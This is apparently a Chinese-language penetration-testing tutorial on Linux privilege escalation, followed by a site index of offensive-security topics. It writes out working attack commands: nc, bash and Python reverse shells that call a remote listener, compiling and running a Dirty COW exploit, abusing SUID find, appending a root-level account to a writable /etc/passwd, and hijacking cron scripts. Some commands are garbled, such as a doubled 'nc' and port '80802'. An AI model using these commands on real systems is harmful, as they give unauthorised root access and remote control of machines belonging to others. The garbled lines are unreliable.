# Linux系統提權
當拿到了一臺Linux服務器的低權限賬號后,要通過技術手段提權至 root 用戶權限,以執行更多的操作。首先關于Linux提權我們得先明白幾個概念。
## linux內核知識
Linux內核版本號由3組數字組成:第一個組數字:內核主版本。 第二個組數字:偶數表示穩定版本;奇數表示開發中版本。第三個組數字:錯誤修補的次數。
3.10.0就是內核版本號。3就是內核主版本,10表示是穩定版,0表示錯誤修補次數是0。
```sh
#使用以下命令也可以看到系統內核及版本的一些信息:
uname -a #查看內核的具體信息
cat /proc/version #查看內核的具體信息
cat /etc/centos-release #查看centos發行版本
cat /etc/redhat-release #查看redhat發行版本
```
## Linux提權方法總結
Linux提權的前提:
1. 拿到了一個低權限的賬號
2. 能上傳和下載文件
3. 機器上有python、java、perl等環境(非必須項)
### 一、Linux反彈提權
**如果手里只有webshell可以利用反彈shell來得到一個shell,反彈的權限是中間件的權限。 **
#### 1、NC反彈shell
**NC詳情參考:**https://www.cnblogs.com/nmap/p/6148306.html
**①nc參數介紹**
```sh
-l 指定nc將處于偵聽模式,nc被當作server,偵聽并接受連接。
-p <port>指定端口,老版本才需要-p
-s 指定發送數據的源IP地址,適用于多網卡機
-u 指定nc使用UDP協議,默認為TCP
-v 輸出交互或出錯信息,新手調試時尤為有用
-w 超時秒數,后面跟數字
-z 表示zero,表示掃描時不發送任何數據
```
**②nc做tcp監聽**
```sh
# 開啟本地8080端口監聽
nc nc -l -p 80802
```
**③nc反彈服務器shell**
**方法⑴:**公網主機綁定SHELL
```sh
#在公網監聽端口5555端口,并綁定shell
nc -lp 5555 -t -e cmd.exe
#在內網主動建立到外網IP:5555的連接
nc -nvv x.x.x.x 5555
```
**方法⑵:**內網主機綁定SHELL
```sh
#在公網監聽端口
nc -lp 5555
#在內網機器綁定shell反彈
nc -t -e cmd x.x.x.x 5555
```
#### 2、利用bash直接反彈
**(1) bash反彈一句話**
```sh
#先公網監聽
nc -l -p 8080
#在內網bash反彈
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
```
網上還有很多方法一句話反彈shell,需要自行搜索
### 二、內核漏洞提權——臟牛
1. **臟牛漏洞:**
又叫Dirty COW,存在Linux內核中已經有長達9年的時間,在2007年發布的Linux內核版本中就已經存在此漏洞。Linux kernel團隊在2016年10月18日已經對此進行了修復。
2. **漏洞范圍:**
Linux內核 >= 2.6.22(2007年發行,到2016年10月18日才修復)
3. **簡要分析:**
該漏洞具體為,Linux內核的內存子系統在處理寫入復制(copy-on-write, COW)時產生了競爭條件(race condition)。
競爭條件,指的是任務執行順序異常,可導致應用崩潰,或令攻擊者有機可乘,進一步執行其他代碼。
惡意用戶可利用此漏洞,來獲取高權限,對只讀內存映射進行寫訪問。
3. **exp:**
[https://github.com/gbonacini/CVE-2016-5195](https://github.com/gbonacini/CVE-2016-5195)
#### 示例:臟牛內核提權
1. 首先確定發行版、內核版
```sh
cat /etc/issue
cat /etc/*-release
uname -a
```
2. 根據內核版本,找exp,下載對應dirty.c文件編譯
```sh
gcc -pthread dirty.c -o dirty -lcrypt
```
3. 執行當前編譯的dirty.c文件,然后輸入新密碼123456
```sh
./dirty
#執行后,會將原來的passwd文件備份到/tmp目錄
#然后創建的新賬號是firefart,密碼123456
```
4. 等創建成功后,切換到firefart用戶
會發現此用戶會發現已經是root權限了。
最好立刻再新建一個管理員賬號,然后立刻恢復passwd文件。
因為這個提權不是新建了一個賬號,而已用新賬號替換了root賬號,所以要把root賬號恢復回去
### 三、SUID提權
SUID(設置用戶ID)是賦予文件的一種特殊權限,擁有改權限的程序,任何用戶執行的時候都是改命令都是以root權限執行的
suid提權是指這類有S權限的程序,如果能執行命令,那么我們就能從用改程序從普通用戶提升到了root權限
#### SUID可用命令
**⑴在本地查找符合條件的文件,有以下三個命令**
```sh
#嘗試查找具有root權限的SUID的文件,不同系統適用于不同的命令,一個一個試
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
```
**⑵已知的可用來提權的linux可行性的文件列表如下:**
```sh
nmap
vim
find
bash
more
less
nano
cp
```
#### 示例:利用find文件提權
假如我們現在拿到了一個網站服務器的shell,但是權限是ubuntu,我們現在需要提權到 root 用戶權限。
1. 查看具有root用戶權限的SUID文件
```sh
find / -perm -u=s -type f 2>/dev/null
```
2. 發現有find命令,再確認一下
```sh
ls -lh /usr/bin/find
#權限是rwsr-xr-x 確實有s權限
```
3. 測試是否能用find命令以root權限運行
```sh
/usr/bin/find examples.desktop -exec whoami \;
#發現確實可以以root權限運行
```
4. 然后查看目標網站上是否的python環境
linux服務器一般都自帶python,區別是有些2.X,有些3.x
5. 于是我們以root用戶的身份利用python反彈shell,
```python
#反彈一個sh類型的shell
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
s.connect(("192.168.10.25",4444)); \
os.dup2(s.fileno(),0); \
os.dup2(s.fileno(),1); \
os.dup2(s.fileno(),2); \
p=subprocess.call(["/bin/sh","-i"]);'
```
6. 遠端nc監聽`nc -lvp 4444`
可以看到,在攻擊端收到了反彈過來的shell,并且是root身份
>本節來自:https://blog.csdn.net/qq_36119192/article/details/84872644
### 四、Linux配置錯誤提權
**利用Linux的配置文件錯誤,導致 /etc/passwd 文件可寫入提權**
**對Linux配置進行檢查的腳本有:**
https://www.securitysift.com/download/linuxprivchecker.py
http://pentestmonkey.net/tools/audit/unix-privesc-check
**當我們獲得了某個Linux服務器的低權限之后,我們想要對該低權限賬號進行提權,以執行更多的操作。**
接下來我們的提權是利用 /etc/passwd?文件的可寫入權限,導致我們寫入一個其他用戶進去。
1. 查看 /etc/passwd?的權限,發現任何用戶都可以讀寫。
我們現在要做的就是自己構造一個用戶,在密碼占位符處指定密碼,并且UID設置為0,將其添加到 /etc/passwd?文件中。
2. **首先,使用perl語言生成帶有鹽值的密碼:**
```sh
perl -le 'print crypt("password@123","addedsalt")'
```
3. **然后將test用戶的信息加入 /etc/passwd?文件**
```sh
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
```
4. **以`test/password@123`登錄主機**
登錄成功后,是 root 權限。
### 五、定時任務提權
系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。
非root權限的用戶是不可以列出root 用戶的計劃任務的。但是系統的計劃任務`/etc、cron*`可以被列出。
默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫,我們就可以修改腳本進行提權了。
1. 列出系統定時任務
```sh
ls -l /etc/cron*
```
2. 查看列出的目錄中,是否允許普通用戶修改
/etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly?這四個文件夾內的文件,查看是否允許其他用戶修改。
如果允許任意用戶修改,那么我們就可以往這些文件里面寫入反彈shell的腳本提權了。
### 六、密碼復用提權
我們如果在主機上找到了其他應用或數據庫的密碼,那么很有可能root用戶也用該密碼,或者該參考該密碼命名規則。那么就可以嘗試一下 su root 來提權了。
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具